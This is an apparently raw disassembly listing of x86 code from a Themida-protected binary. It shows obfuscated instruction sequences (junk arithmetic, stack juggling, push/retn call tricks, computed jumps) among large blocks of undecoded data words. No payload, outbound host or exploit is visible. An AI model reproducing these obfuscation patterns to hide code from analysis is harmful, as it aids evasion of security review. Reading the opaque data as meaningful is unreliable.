sub edx, 344A2797h
mov eax, edx
mov edx, [esp]
add esp, 4
push 3678h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push eax
add dword ptr [esp], 5CD313E1h
pop dword ptr [edx+8]
push eax
mov eax, 651146E0h
not eax
sub eax, 3742024Eh
dec eax
sub eax, 6D9A2EFh
sub [edx+8], eax
pop eax
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_543FDB
; ---------------------------------------------------------------------------
db 4Ch
dd 8FA9DC78h, 77520CECh, 0C32CC656h, 3B6EB8BDh, 0C5030612h
dd 52D6E0FFh, 6C9756CFh, 30AE24EEh, 7844114h, 50152638h
dd 8ED62E0Dh, 0A05B22CAh, 0ED877B5Eh, 2D432BD5h, 1B391F84h
dd 15517ABAh, 1C90315Ah, 1BF215FBh, 0BA752A30h, 0F189084Ah
dd 56626533h, 746B0FA4h, 0CF5550ABh, 445C2588h, 0A76A23D2h
dd 3A0D264Ch, 99D910A3h, 0CDE95DDDh, 0CF9B6868h, 0B3993A7Ah
dd 422675A1h, 58B30397h, 775490Ah, 0B8C07379h, 225B0191h
dd 8D8D2625h, 6123D5Bh, 0E860Fh, 89600000h, 0B05AD85h
dd 65B52306h, 61060B2Ah, 174D8D89h, 6A060Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 528FEFC3h
dd 0C7ED27A8h, 0B011985h, 5D1406h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 85C7B41Eh
dd 60B1009h, 0
; ---------------------------------------------------------------------------
mov esi, [ebp+60B3365h]
push dword ptr [ebp+60B2705h]
push 0
push edx
call sub_5AFDC3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AFDC3 proc near ; CODE XREF: Themida_:005AFDBBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5AFDC3 endp
; ---------------------------------------------------------------------------
db 0E9h
dd 0B06A41h, 891A4352h, 3800FF9h, 80000000h, 0BD3111F3h
dd 60B0FB5h, 0AC595FFh, 0E281060Bh, 3EE7F7EEh, 95FF006Ah
dd 60B32DDh, 6BEBC08Bh, 3EA10E7Ch, 0A8EE9A81h, 5EC837B3h
dd 94DB3696h, 6393804Eh, 0F057B7B1h, 300A3A7Eh, 8F0E823Eh
dd 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h, 0A8E50E98h
dd 51C459F0h, 0D71F07F5h, 0D97FE656h, 20147FCBh, 0D997F7C2h
dd 0DA674033h, 0FF4EAD6Bh, 0FAE7B94Eh, 7CCD8D7Fh, 6CCF1AB1h
dd 0CADA6482h, 0FE480086h, 526D3610h, 0EB83364Eh, 8757AF04h
dd 512E97Ch, 0FE080000h, 0A4F31CC7h, 52A14E95h, 0F30BE47Fh
dd 0A2F617CCh, 0EAF14093h, 2D360913h, 5D86BBC0h, 8A6964B0h
dd 263D081Dh, 0EB9F17D5h, 7CC58620h, 0D5DE178Dh, 5FA514F8h
dd 112F360h, 8C994034h, 91CCDB1h, 93E55438h, 1E69D0A4h
dd 0A7E15F23h, 267C5426h, 0EE357EA7h, 941D0246h, 44E8C3h
dd 87C3941Dh, 0E408C4B3h, 0C3941DE0h, 0DB3F1367h, 0AE99EF18h
dd 0B9CA3BB5h, 4B51388Ch, 684C8074h, 0C4FAF0AFh, 0CE78C421h
dd 0AA1E297Fh, 112C75A0h, 3C0116F7h, 0A598E148h, 2E1368D1h
dd 0B5306A5Ah, 69643CD9h, 0B8CC7480h, 4B50398Dh, 6A4E8276h
dd 0F700ED76h, 39E476DAh, 0A232DCE3h, 0C3945C23h, 0FC1491EBh
dd 3241324Dh, 5764h, 33BD8000h, 0BD7B0F8Ch, 2F2795E8h
dd 0C3948D5Bh, 1A350D2Ch, 0D944BA87h, 300114E5h, 6FDE084Ch
dd 8B5B2F1Ah, 0C394DDF9h, 9A6E7F35h, 3241B173h, 15Eh, 0D7DEA600h
dd 0BAC416FAh, 941D5632h, 47E1D9C3h, 3E82BFC6h, 8408374Fh
dd 0AE57564Ch, 1C896A67h, 0DF253E0Bh, 17FBDADEh, 9E625FA6h
dd 3EE7E620h, 0EF18DBFAh, 72DBAF9Ah, 0D5C02A27h, 0C3078BC6h
dd 88282D25h, 0F356877Dh, 6F533240h, 0C9000000h, 4FF9C4DCh
dd 0DDADEE9h, 941DED99h, 0FF1862C3h, 523E88A6h, 0C9BD9113h
dd 49E31160h, 49FD4B99h, 448C7054h, 842077A6h, 9EF24673h
dd 9B2A8CBAh, 0CC172E72h, 12E6D923h, 986C53ABh, 5AAE3F65h
dd 3241CEA3h, 438Eh, 0A5F32200h, 0FADEE93Fh, 2E143216h
dd 17FBDADEh, 0ADBC5EA6h, 656FFFD8h, 0CFFA0FFEh, 0D60267EBh
dd 0EBEA2ED7h, 0D7DE8808h, 0D9C416FAh, 0CB0FF3CEh, 1D38491Dh
dd 0B8F2C394h, 0F136D72Dh, 1133240h, 0FD000000h, 0AFED3DEh
dd 0F17B56A3h, 262B964Ah, 6EA9254Ah, 6FE27BCAh, 0F058F671h
dd 59BE4F45h, 0B2EC774Ah, 638B51EAh, 0BD9E5C16h, 0AE1FE3D7h
dd 1A8B6865h, 98483C09h, 3A6160EAh, 5D21186Bh, 0DBAF96ECh
dd 176B7A3Eh, 8C9F0E12h, 60A7234Bh, 0D2283A61h, 0B8B141FEh
dd 0A99F42EBh, 43A8257Fh, 0B4898E36h, 11628350h, 368F9EFFh
dd 8876386Eh, 0E9062C24h, 0A115096Dh, 2E92AFF8h, 5041FE70h
dd 0DBF202A5h, 0A807613Ch, 40A9247Eh, 4FD91A37h, 7FDDA93Dh
dd 68523A61h, 52AD5CBEh, 5B842C36h, 60000001h, 0E4760D6Fh
dd 9EFF1140h, 0D0A49EBDh, 0ADFA1C69h, 0FE6D373Ch, 7AAB48ACh
dd 477A8929h, 510C44F3h, 5C542DB0h, 0C9B00478h, 0C95B81BCh
dd 60A721A5h, 0B25CA63Ah, 0AE99EF5Eh, 162973DAh, 701498A2h
dd 0F73A60A7h, 7C89A383h, 7372B402h, 9E4C798Ah, 447B4821h
dd 153341A4h, 0D027D652h, 0F391DE1h, 3513FC2Dh, 4AD52Ch
dd 56470000h, 1B6F8740h, 0EC3A6032h, 0AE94B296h, 0E5770C6Fh
dd 941D5541h, 7AE0DAC3h, 1D0044E8h, 0B387C394h, 0D1B5BD95h
dd 0C3C3941Dh, 0A954DCE9h, 57D4635Eh, 0A77B55C6h, 2B704CFAh
dd 76A2CA10h, 0F9C394BBh, 0A7A35281h, 0CD000000h, 0E4760D6Fh
dd 9F052140h, 27B1C3BDh, 60CBFB8Fh, 0FE764C3Ah, 3A60CB8Ah
dd 0C0B251Dh, 0D9B72436h, 5964C369h, 0D4858DBBh, 806DF6C3h
dd 65905A77h, 307211Ch, 60B39C23h, 0E7DA233Ah, 6C59AA13h
dd 0E9E43E98h, 45409095h, 0E57E4B5Ch, 9258E3B9h, 72BFA71Ah
dd 0FE42B844h, 3E4AE26Ch, 0F130766Dh, 28B05034h, 0FE05F1Ah
dd 38D6CAF5h, 1F5C0D5h, 59119C14h, 6F5AAD43h, 0A9DD519Bh
dd 3E30760Dh, 5E8CE0C4h, 64017BD6h, 2374A14Eh, 24A0C416h
dd 0AB2E5BCEh, 0BB5AB957h, 2973526Fh, 0D16EA216h, 9EF2FD8Bh
dd 0D6FBF45h, 0CD40E476h, 42BD8611h, 0D0259478h, 84917EE5h
dd 2B6DC549h, 0BB3ECEAh, 1A6F9411h, 0A89E3D2Fh, 51333CC0h
dd 65E9D82Fh, 4023CD21h, 435097C4h, 8A889394h, 71C5F403h
dd 91AF31Dh, 99E1483Ch, 0B9ACD84Ch, 0DF23BCCCh, 0AEEA17FBh
dd 90ADF61Fh, 6451A243h, 113F90h, 0BD590000h, 0EBCFEF1Eh
dd 0F9DDA198h, 0E14CA25Eh, 0DEA49C47h, 0A009FDD4h, 27967A57h
dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh
dd 0DFC4079h, 0CF7BCFFAh, 815D5455h, 4C5h, 4ED8300h, 5C242C87h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
push ebp
mov ebp, 24FB0DE8h
or ebp, 1B64717Bh
sub ebp, 17B87FBDh
inc ebp
sub ebp, 1F2297B4h
mov ebx, ebp
pop ebp
not ebx
add ebx, 2311AAEh
xor ebx, 0FF1E89F4h
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push 2685h
mov [esp], ebx
pop dword ptr [eax+8]
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_543FDB
; ---------------------------------------------------------------------------
dw 0E755h
; ---------------------------------------------------------------------------
push es
adc eax, 0E66F37E0h
mul byte ptr [ecx+2A91B856h]
mov eax, 612423Ch
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 84h, 40h, 7Dh
dd 305B1E41h, 0AA904367h, 0BC64463Ah, 8C4B003Eh, 1B31087Dh
dd 0A496C74Eh, 81210F71h, 9C8B8D3Dh, 1D1DDD01h, 4A12A20Eh
dd 9EC01F0Ah, 0E7EED817h, 875D9C77h, 86EB661Ch, 0CA4CE749h
dd 544FC101h, 2DD50976h, 9850E423h, 0E4F0951Fh, 149F4714h
dd 6B6AC43Eh, 0AA323702h, 0A85D2301h, 8EDE1C4Dh, 949D9040h
dd 3B04EB64h, 0E91CC8B7h, 573h, 825168BAh, 3C271265h, 6A89C0D3h
dd 855E65BDh, 362D1068h, 7F85588Fh, 2D729340h, 0D222C310h
dd 7A8F78FBh, 8567944Fh, 865E6561h, 0A51BEAC5h, 0C3721EBDh
dd 38AFD92Ah, 0DCCEBA32h, 7941C394h, 8D357ECFh, 84F84C7Bh
dd 176DDCA0h, 0C9DACB28h, 54A108FCh, 0DAAE9BECh, 0AD5882E6h
dd 40D16E55h, 6EDC7CD3h, 0C715FD2Bh, 56AB8E98h, 5A97820h
dd 0C394D341h, 6E98FCC6h, 0D5B9889Fh, 0A226A7FDh, 0FA142B73h
dd 28CB0613h, 459EA9FFh, 0A3F45CA8h, 8AEE2296h, 2AA3406h
dd 0C394D346h, 0F657F1C9h, 0D289CA1h, 87917677h, 297AAB48h
dd 0F94D7089h, 15DDA185h, 0C394D374h, 13E9E4BEh, 3241BEFAh
dd 5DD7h, 0D5DE3100h, 0C92D186Dh, 1D9FED45h, 5D57C394h
dd 0F091B850h, 1B83240h, 44000000h, 94450BDh, 2A276EDFh
dd 106994A6h, 0FB0A032Dh, 8D71485Bh, 38E15549h, 0A3F825E2h
dd 1ED62A9Eh, 0C3941D6Ah, 0DDA185FDh, 30C877F5h, 0D9869C13h
dd 4441638Dh, 0FA79485Fh, 4C58F80Dh, 55498D71h, 0DADE768Eh
dd 96C517FBh, 2A5F7E5Dh, 0CBD0B904h, 0A2F558F6h, 33752397h
dd 7EB12EB2h, 0CFB93689h, 0FD070620h, 0A3F411C2h, 0ED182296h
dd 2CA97595h, 8FD1680Bh, 45E327ABh, 9E5BB9C8h, 5FA50EF0h
dd 0B564E8CCh, 3DEC506Fh, 8475D9E4h, 98FC4071h, 0D4A6277Dh
dd 0AE626331h, 3241986Fh, 7FBAh, 0A43600h, 0C394B144h
dd 0E359F7CBh, 0CFBB33BDh, 40C3941Dh, 3B41CC7Ah, 0BAC9B004h
dd 0D9D33387h, 0E2DD27CCh, 248C9471h, 102F77DFh, 8574D83Ch
dd 0CF5F9D7Dh, 756B0E75h, 8A8AD11h, 95D607FDh, 0D9C43241h
dd 8D54F2C1h, 6Bh, 4550BD6Bh, 0A24C8074h, 9A6E51ABh, 297FE533h
dd 7256AA1Eh, 77816B8Eh, 1D0541E5h, 0B08AC394h, 941DD4B0h
dd 0AEF25BC3h, 8BEF2397h, 0A54A5B5Dh, 5F3605Fh, 70FAD7DEh
dd 1D3A4EE6h, 0B58DC394h, 0CEBFB79Bh, 51C3941Dh, 0B891E048h
dd 0F309F044h, 0FF2578CCh, 2E649CEEh, 9FE8159Fh, 4CFADEA2h
dd 40F13BD2h, 11632h, 0DEFE0000h, 0C00AFED3h, 56F0CFD5h
dd 4597A2F7h, 0D6704958h, 0C0CDC772h, 62F1C8DBh, 9D36834h
dd 9EFC90E5h, 0FF6D55BDh, 0C08DF96Dh, 38023A60h, 46533A0Eh
dd 0DF57E10Bh, 3A60C0ABh, 7649533Ch, 0BC6A4E82h, 7AB9CA3Bh
dd 60C096F2h, 320D173Ah, 0B58D0A4Eh, 745ED51h, 323A60C0h
dd 0B05DE7E6h, 0ACE05465h, 437E8B82h, 628A1490h, 3A60C066h
dd 967791E9h, 18AAB08Dh, 0C062668Eh, 9DE53A60h, 60C03155h
dd 32BAB63Ah, 3A60C056h, 638DE1D9h, 6BB05DEFh, 4055B856h
dd 0DDD78175h, 15DE2BD0h, 60C0F591h, 1520743Ah, 0E77C50AAh
dd 35CDF415h, 162DD2Ch, 6F3B0000h, 40E4760Dh, 0BD9EFF11h
dd 0EFE2319Eh, 7FC3271Bh, 0AB48858Eh, 42EA297Ah, 3A60CF06h
dd 6E2826C9h, 6F12692h, 0E312D83Ch, 0BB8FB990h, 0F4C1D2h
dd 887C4359h, 16FAD921h, 0B65F6EA8h, 0A9ED5160h, 3CC9CBB5h
dd 6CF7C2D7h, 35337990h, 5C502Ch, 6FBC0000h, 5BE5770Ch
dd 941DB7D3h, 24C238C3h, 1DF6224Ah, 179C394h, 891DAFBDh
dd 0C3941DFDh, 7B810872h, 729CF044h, 941DE6E2h, 201F67C3h
dd 0AC9BED5Ch, 0A9247ED8h, 28A5FFD5h, 0C8122972h, 941D70A4h
dd 5083F7C3h, 565367D4h, 8D951F79h, 0D6610A0Ah, 0F711A0E2h
dd 0B300h, 50BDA800h, 7087764Bh, 6F99FD41h, 24364D2Fh
dd 9F05E180h, 0A0146EBDh, 0D74AACF9h, 7687E5EEh, 8461F2D6h
dd 0A944673h, 60B2E6E2h, 0F711693Ah, 0B38CD313h, 95873A60h
dd 9BCD3926h, 7997FD60h, 3C49AE3Fh, 52B68394h, 0BCC7D581h
dd 8F1D06AEh, 146E4471h, 4ACF9A0h, 1C70C4F5h, 96E55438h
dd 1B66D7BBh, 0A2E45226h, 71159923h, 0F6307612h, 0DF6DA88Ch
dd 3FE9E82Eh, 6A326865h, 12FB8F27h, 3C423076h, 6C40BA05h
dd 0D34D76FEh, 0A2534E67h, 49C6605Dh, 0F77C9EE4h, 8E0BA5C3h
dd 0C812766Ah, 8FCCBDDh, 0CF591A34h, 0BFFD6DEh, 926653A2h
dd 0B6AC5ABEh, 0E4760D6Fh, 85DC5B40h, 1AEED4BDh, 90166BD0h
dd 0E85D1EA6h, 0F8DCA099h, 96E36A84h, 0F6EAE72Eh, 17CE36Dh
dd 3C11D364h, 1A6FDE08h, 0EB5F66BAh, 0E3C7FE02h, 0C4313B8Fh
dd 0DD3185B0h, 0E53EA722h, 0D07E671Fh, 0A38D5304h, 5C694353h
dd 8C5762B7h, 573B1663h, 0BBA190E6h, 8408354Ah, 9CA3F940h
dd 0D63AD428h, 53271267h, 24A895EAh, 4539B4EEh, 4EDF8B8h
dd 0F01DC6F3h, 6126AAA7h, 3, 0DE9C848Bh, 0A009FDD4h, 27967A57h
dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh
dd 0DFC4079h, 0CF7BCFFAh, 57E68956h, 4BFh, 5FFE0100h, 8704EE83h
dd 685C2434h, 5CD5h
; ---------------------------------------------------------------------------
mov [esp], ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push esi
mov esi, 310F792Dh
dec esi
xor esi, 371D3A48h
mov ebx, esi
mov esi, [esp]
add esp, 4
push esp
mov edx, [esp]
add esp, 4
push ecx
mov ecx, 8
add ecx, edx
mov [ecx], ebx
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_543FDB
; ---------------------------------------------------------------------------
dw 8A23h
; ---------------------------------------------------------------------------
fidiv word ptr [esi-45h]
sbb [esi-6Eh], bh
enter 58B8h, 48h
adc al, [esi]
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 19AD8174h, 5F42988Dh, 6B4A24E4h, 141EC89h, 4D866753h
dd 6BA76F3Dh, 2BD2CA1Ah, 16344403h, 60416705h, 198C8DA5h
dd 27213D35h, 0E7F01B9h, 1BBA38FCh, 54901ACh, 40C63D80h
dd 466F841h, 16BBFFA3h, 2DA9B6F4h, 531848DDh, 0FDEA04EBh
dd 45E90697h, 0E9000005h, 50BDA69Dh, 3EEF7445h, 0E805DEF3h
dd 57B0A392h, 52E1724Dh, 95A8F00Bh, 6558A14Eh, 0C80711FEh
dd 9CA9FA2Bh, 3EB6BA47h, 0C586544Ah, 13826EDDh, 0D740340Bh
dd 0FFC485E0h, 42206FEh, 4150BD1Eh, 1A6FDE08h, 0AEF25B2Fh
dd 56A34C97h, 0F004F17Bh, 0F31D71C5h, 6865AE1Fh, 0D7E235E4h
dd 0FC092363h, 2C370217h, 0CA2C75A0h, 0E93CE29h, 0CB11752Eh
dd 94FD27A3h, 0B452A8C3h, 0E3704F59h, 0B92DF202h, 0C394FDCDh
dd 0B0047842h, 398DB0C9h, 860A4750h, 0DF1C0D7h, 79159010h
dd 20C9C4DCh, 8D7AF9D4h, 69F94D78h, 0C394FD18h, 37CDD8D2h
dd 3241D116h, 8533h, 0D5DEDD00h, 0AEDC14F8h, 66C3941Dh
dd 0A41BA12Ch, 90CBE8C9h, 0F175E7EAh, 0C3945E95h, 1406201Ah
dd 324133F5h, 1DCh, 0D7DE3800h, 64812821h, 48AC1455h, 292073A2h
dd 43C761A5h, 0ACBE8B9Ah, 0F0A9BC0Fh, 2F47E052h, 0C394315Bh
dd 0BF2D62Ch, 67ACEF1h, 65DA60E8h, 4CE044C7h, 0C3943538h
dd 6F8C4B8Fh, 88FC70B9h, 1FC3948Ah, 2429C73Bh, 3313E7DEh
dd 0F007ECF9h, 679612C1h, 795D2110h, 18357ECFh, 0DADE3DDBh
dd 5FA617FBh, 0E6209E62h, 0DBFA3EE7h, 472F8C18h, 43567D3Eh
dd 899A739Dh, 1261C8BCh, 0BA32D3Fh, 0C394FB7Fh, 0F45C8AF0h
dd 4E424351h, 3241D88Fh, 679Ah, 0DADE6200h, 708471FBh
dd 95A7AB45h, 592D1068h, 3742CB65h, 8C5EB61Ah, 0A241B61h
dd 0ACF41DA8h, 4F5A4B91h, 0F213D472h, 7A2397AEh, 94A91D24h
dd 0D20B810Ch, 0DF3240F2h, 43h, 0DDADE39h, 941DED99h, 0B11862C3h
dd 0A1E56964h, 0F8209F4Dh, 8865D493h, 2F9E729Ch, 71AEED9h
dd 0D12BD0DDh, 0AFB75EEh, 3A20CEFBh, 16FAD7DEh, 941DAFDEh
dd 0A02D67C3h, 40F0C168h, 1E832h, 0DE740000h, 0A30AFED3h
dd 6A977B56h, 2B769F2Eh, 3143CD16h, 941DC9BDh, 1A925EC3h
dd 0C3941D6Eh, 8BA599E1h, 3D476933h, 665ABE02h, 0FC6570F4h
dd 76A7BD9Eh, 16F51322h, 0A4F1582Ch, 0CF3E4AA9h, 0C00488B7h
dd 0E7D22726h, 0C0B1D313h, 0EF343A60h, 67BF6ED2h, 0C04206AEh
dd 0FDC53A60h, 0A0F03599h, 0C546925h, 45E97B81h, 3A60C001h
dd 0A983BC86h, 0B08CEB76h, 0BFC845E3h, 63B45182h, 0CE58E256h
dd 90D05491h, 3F37AAD0h, 3A60BF4Bh, 0C548E6DCh, 483185B0h
dd 0D0B90D30h, 0E2078BCAh, 0FD5B37B6h, 0B0C52ABBh, 8BA25E85h
dd 0A62C3592h, 159h, 0BB33BD4Eh, 0C3941DCFh, 0F0CC7A40h
dd 0C6F302ACh, 85F478E2h, 7BD9EFFh, 92BC8196h, 10F94DB5h
dd 9F29CA07h, 0A495E00Dh, 60CFD8ACh, 0DEAAC23Ah, 513A60CFh
dd 7A94EE69h, 0A14B8693h, 0CFEB9F17h, 67C3A60h, 48DA60E8h
dd 60CFA024h, 0ECD3293Ah, 675B2418h, 0DD3344C9h, 16FE14AEh
dd 8D7155B4h, 678F19D3h, 3A608063h, 36709EE4h, 8454EB7h
dd 42EA33E2h, 5F23073Eh, 806D198Dh, 98E23A60h, 2FE98AA4h
dd 2C358DFEh, 382Bh, 0C6F3500h, 5541E577h, 0DAC3941Dh
dd 0B0D41CE0h, 0A2C3941Dh, 75405540h, 1A34D81h, 0B6CDAE84h
dd 1D1400A4h, 271BC394h, 9FC53Ch, 891B0000h, 6BE26165h
dd 729CE63Ch, 760D6F8Ch, 52140E4h, 54AEBD9Fh, 53AB5AE0h
dd 8AA4986Ch, 915B7683h, 54251064h, 13D4724Fh, 2094A1F2h
dd 60CA7F00h, 9F2E4A3Ah, 67638B15h, 0E83A60C8h, 0B7E10D49h
dd 1377AD08h, 320F18F5h, 1C277521h, 750591CEh, 0B2AF33BFh
dd 5C52DA94h, 0EF447153h, 0A1970B70h, 3F13E1CCh, 0A491E24Bh
dd 0C48024B6h, 4B307679h, 0C471D977h, 4ABBC1CCh, 56DE0C39h
dd 30767932h, 1BA34DB5h, 0FC70FA81h, 4E6782E2h, 2EDF0D75h
dd 0E97DEFE6h, 2E44069Dh, 65FE2812h, 760D6F9Fh, 5CAB5AE4h
dd 0B9849C6Dh, 0E6E9C78Fh, 7ABD85h, 8DB8CDBCh, 0A76CB956h
dd 0D2122F76h, 3A79AAB6h, 19EDC139h, 0FC3BBAC9h, 7F8EA43Dh
dd 0DF258D96h, 0B6578CE0h, 84B3C56Dh, 156DDCA0h, 0C4D13C2Eh
dd 4EEB5F89h, 8A31BB4Ah, 3DB13E30h, 3AFCC949h, 455BE4DEh
dd 0BDB34C0Eh, 8C1CFF23h, 4750BD6Bh, 0E635E00Ah, 4DBA3DEBh
dd 0BC8D9838h, 61A46383h, 766AC113h, 0D2E139E4h, 14FC2A6Eh
dd 0AB3h, 50BDDD00h, 40840841h, 0DE07FDA6h, 0A009FDD4h
dd 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h
dd 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 81E38953h, 4C3h, 4EB8300h
dd 31241C33h, 1C33241Ch, 89515C24h, 4C181E1h, 83000000h
dd 0C8704E9h, 2C895C24h, 48926824h, 0C890000h, 3685224h
dd 5A27B037h, 2217B951h, 81491FB9h, 0D34D38C1h, 59CA2127h
dd 6E35F281h, 0D5890192h, 5599685Ah, 24890000h, 24048324h
dd 89505904h, 84189E8h, 8124048Bh, 4C4h, 240C8B00h, 81E28952h
dd 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835D2434h, 0C8E904C4h
dd 5FFF930h, 140BD5Fh, 0D471C9FAh, 0B0AF69F7h, 124DE0B8h
dd 0FFC50306h, 4D24B9E0h, 1BC1056Ah, 695B737Dh, 8D972565h
dd 6CE9613Fh, 3FFE4203h, 439F2024h, 6279E06Dh, 7791480Eh
dd 314F5E34h, 0F485165Eh, 205BE033h, 0C1F72E1Dh, 0E6CBC80Eh
dd 7EE7F29h, 0F61D4B6Bh, 1C5E6403h, 1328CD38h, 656DED3Dh
dd 5E80810h, 2B5B0A71h, 3D716600h, 341EB53Ah, 81360E59h
dd 445BF815h, 10EB0Ch, 3 dup(0)
dd 8B000000h, 0D08B66C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h
dd 60B29h, 53501974h, 2DB8C08Bh, 89000004h, 0B2A3585h
dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h
dd 2DB85350h, 89000004h, 0B2A3585h, 99D8D06h, 0FF060DB0h
dd 89585BD3h, 0B20818Dh, 85BD8906h, 66060B16h, 0C08BD78Bh
dd 0B91B589h, 8D8B060Bh, 60B0E41h, 83D0B70Fh, 840F00F9h
dd 7Eh, 0A3A9F681h, 8B645929h, 2C3Dh, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0AE936D2h, 0C9000000h, 0C9C4912Ah, 491EA6Bh, 0FFF0B84h
dd 3D84h, 6E800h, 22170000h, 75798492h, 7E9h, 0A9A47E00h
dd 37EEC307h, 663F8B5Eh, 236E2EBAh, 0B06A9B5h, 0E8C03206h
dd 8, 2AB32DA0h, 0F322BE63h, 0F35EB4B6h, 0D68166AAh, 49358846h
dd 6A535041h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0FBD0C353h, 68A0988Bh, 958B0CCAh
dd 60B1375h, 284585C6h, 6A47060Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 8788C352h
dd 0F7E537A6h, 1771BD89h, 5A68060Bh, 50BFD9B7h, 8E852h
dd 447A0000h, 9413990Eh, 6160F6A6h, 60310F5Ah, 860FB3B7h
dd 0
; ---------------------------------------------------------------------------
popa
pop edx
pop eax
add dword ptr [esp], 1CFCD0D2h
mov dh, 9Bh
push dword ptr [ebp+60B1355h]
jmp loc_5B1133
; ---------------------------------------------------------------------------
db 92h
dd 423B1F7Bh
; ---------------------------------------------------------------------------
sub dl, 0C2h
loc_5B1133: ; CODE XREF: Themida_:005B1126j
lea eax, [ebp+60E7D18h]
movsx esi, bx
call eax
jnb loc_5B114A
mov [ebp+60B0949h], eax
loc_5B114A: ; CODE XREF: Themida_:005B113Ej
add dx, 9C17h
mov [ebp+60B05D9h], eax
sub [ebp+60B0E0Dh], ecx
xor [ebp+60B0409h], edx
mov byte ptr [ebp+60B2845h], 53h
mov edx, [ebp+60B0209h]
push 0C7824087h
mov dh, al
xor dword ptr [esp], 4F1A2A7Bh
mov [ebp+60B197Dh], edx
movzx edx, bx
push dword ptr [ebp+60B1355h]
mov esi, 6DD3459Eh
mov [ebp+60B008Dh], ecx
lea eax, [ebp+60E7D18h]
mov [ebp+60B14B5h], ebx
call eax
push 0
push ecx
call sub_5B11AF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B11AF proc near ; CODE XREF: Themida_:005B11A7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5B11AF endp
; ---------------------------------------------------------------------------
db 62h
dd 0F363F595h, 894B3A79h, 0B089185h, 8DD38B06h, 0E3ECA85h
dd 16850F06h, 0E9000000h, 11h, 0E3FF9922h, 76303233h, 0A2CB06F5h
dd 6D4E6BCDh, 0BD85899Ah, 0E8060B1Bh, 10h, 5C56AD43h, 59830FBDh
dd 56C58865h, 9CA44304h, 3121958Bh, 6A5E060Bh, 0FFFF6A20h
dd 0B1BBD95h, 41493506h, 85C75350h, 60B1611h, 1, 1585C7h
dd 60Bh, 95890000h, 60B22E9h, 0DE9h, 49B13D00h, 0F2B45B6Dh
dd 0B67DBC91h, 0BD834607h, 60B2715h, 63840F00h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 7385C356h, 663693A5h, 858BF78Bh, 60B0925h
dd 64D38B66h, 0A3h, 0DE816600h, 858B6630h, 60B32B5h, 293D9589h
dd 0E08B060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0EEC35343h, 0BD836BB6h, 60B08D1h, 62850F00h, 0F000004h
dd 482h, 7FBE6600h, 4585C6C4h, 56060B28h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h, 396C1C7Fh
dd 0DC2C3934h, 0EE9h, 0F1DB00h, 0D28ED1CDh, 82FDFEDFh
dd 0F7D100Bh, 0D368D3BFh, 606F0BB9h, 0D9D7BA66h, 24048161h
dd 3AB9770Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0EDC35545h, 393E89D9h, 10E8h, 9EC6A800h, 6781F523h
dd 96ECB945h, 3BD8D4C4h, 219D89E5h, 5A060B09h, 1355B5FFh
dd 0B52B060Bh, 60B1A2Dh, 7D18858Dh, 23F8060Eh, 0B0D9D95h
dd 0E8D0FF06h, 6, 80E852Bh, 0B58B4395h, 60B1145h, 5E50905Eh
dd 66525050h, 310FF78Bh, 585AAEB6h, 0CE890h, 41F40000h
dd 16C87F4Fh, 2F59DD9Ah, 0BD895E33h, 60B0699h, 458D8D5Eh
dd 8B060B05h, 0BA6650D6h, 0C89B64Eh, 68B0F24h, 89000000h
dd 0B19C19Dh, 9FC28106h, 6A235F07h, 0F6BF0F04h, 4E8h, 100000h
dd 60525000h, 1FB25853h, 0BE310F61h, 7DC99140h, 6050585Ah
dd 23FE5DB8h, 10E95366h, 7D000000h, 5F9F683Bh, 55DA7197h
dd 0CD665275h, 58314EE7h, 24448B61h, 0F18B6604h, 0F18B008Bh
dd 4244489h, 8B58F18Bh, 0B090D95h, 9DB5FF06h, 0F060B15h
dd 0BD89F2BFh, 60B005Dh, 25BED0FFh, 0E80E13EAh, 0Fh, 0B28C7AABh
